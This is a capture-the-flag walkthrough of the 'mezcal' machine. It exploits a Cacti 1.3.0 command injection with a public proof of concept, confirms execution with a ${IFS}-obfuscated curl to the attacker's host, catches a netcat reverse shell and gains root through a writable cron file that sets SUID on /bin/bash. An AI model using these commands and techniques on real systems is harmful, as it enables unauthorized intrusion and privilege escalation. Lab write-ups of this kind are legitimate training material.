mezcal
###By b13ss3d###
There's also a video version, if you want to check it out: mezcal
Port Scanning
To start our exploration, we performed a port scan using Nmap. We used Nmap with the options -n
, -Pn
, and triple -v
to not wait for DNS resolution, prevent host discovery checks (though irrelevant if we know it's up), and increase verbosity.
The scan revealed that ports 22 (SSH) and 80 (HTTP) are open. When port 80 is open, it's very likely that there is a web page on the machine, as this port is assigned by default to the HTTP protocol.
Gaining Initial Access
Upon accessing the web server on port 80, we found that it was running Cacti, specifically version 1.3.0. When identifying the version of software in a CTF, the first thing to do is search for exploits for that specific version. We searched for "Cacty 1.3.0 exploit" and found results, including some on GitHub which often contain Proof of Concepts (PoC). PoCs are code created by others to exploit vulnerabilities.
We downloaded an exploit from GitHub using wget
.
$ wget https://raw.githubusercontent.com/Rubioo02/CVE-2024-29895/refs/heads/main/poc.py
Before using it, it is highly recommended to review the code, at least superficially, to ensure it is not malicious. It's also important to understand why it works or doesn't work.
Upon executing the script for the first time, testing with a command like whoami
, we received an error stating "not cacti instance found".

Reviewing the exploit's source code, we found that the checkurl
function made a GET request to a URL that concatenated a specific endpoint (/cacti/cmd_realtime.php
).

But this resulted in a 404 error on the target server. By modifying the path to the correct one (/cmd_realtime.php
), we received a different response, indicating that the correct path for exploitation did not include the /cacti/
directory.
Although we modified the URL, when sending commands like whoami
, the server didn't respond with anything visible, not even in the source code. This doesn't mean the command isn't executing, just that we don't see the output. To verify execution, we set up a basic HTTP server on our machine using Python (python3 -m http.server 80
) and then tried to make a curl
request from the target machine to our IP. Initially, the command curl <our_ip>
did not work due to the use of spaces. The solution was to replace the spaces with the International Field Separator (${IFS}
). By sending the request curl${IFS}<our_ip>
using the International Field Separator, we received the request on our HTTP server!. This confirmed that we could execute commands on the target machine.


The next step was to obtain a reverse shell to execute commands more comfortably. We configured a netcat listener on our machine on port 443 (nc -nlvp 443
). Then, we sent a reverse shell payload using the command injection previously discovered and maintaining the use of ${IFS}
instead of spaces. We received the connection. We verified with the id
command and confirmed that we were the www-data
user.

To improve terminal convenience, which initially was not fully interactive (e.g., CTRL+C terminated the connection), we converted it to an interactive terminal. This was achieved by following a series of steps: execute script /dev/null -qc bash
, press CTRL+Z, execute stty raw -echo;fg
, execute reset xterm
(and press Enter even if you don't see what you're typing), and finally execute export TERM=xterm
.
Privilege Escalation
Once inside as www-data
, we listed the processes that were running. We noticed that some commands were being executed periodically by the root user. This suggested the existence of a scheduled task or cron job.
We looked in the cron jobs directory (/etc/cron.d/
) and found a file named cacti
. Upon reading this file, we saw a syntax that indicated the root user executed a specific command every minute. We could use crontab.guru
to understand the cron job syntax.
We checked the permissions of the /etc/cron.d/cacti
file and discovered that it was writable by our user (www-data
). This allowed us to modify its content to execute our own code as root.
We used vi
to edit the file. To facilitate editing, we adjusted the terminal size using stty size
to get dimensions and then stty rows
and stty cols
to apply them. Inside the cacti
file, we added a line of PHP code (system("chmod +s /bin/bash");
) within the appropriate tags to assign the SUID permission (+s
) to the /bin/bash
binary. This, when executed by root every minute, would make bash
executable with root privileges.

We saved the changes in vim
(using escape
, :x
or :wq
). To verify that the SUID permission was applied, we used watch -n10 ls -l /bin/bash
. We waited until the 'x' in the owner permissions of bash
changed to an 's', which confirmed that the SUID permission had been set correctly.

Finally, to obtain the root shell, we simply executed the bash
binary with the -p
flag (bash -p
), which activates privileged mode. We were root!.

Flag Locations
The flags for this machine are located in the following places:
The root flag is in the
/root
directory.The environment flag is in
/proc/1/environ
.The two system flags are in
/etc/passwd
and/etc/shadow
.
Last updated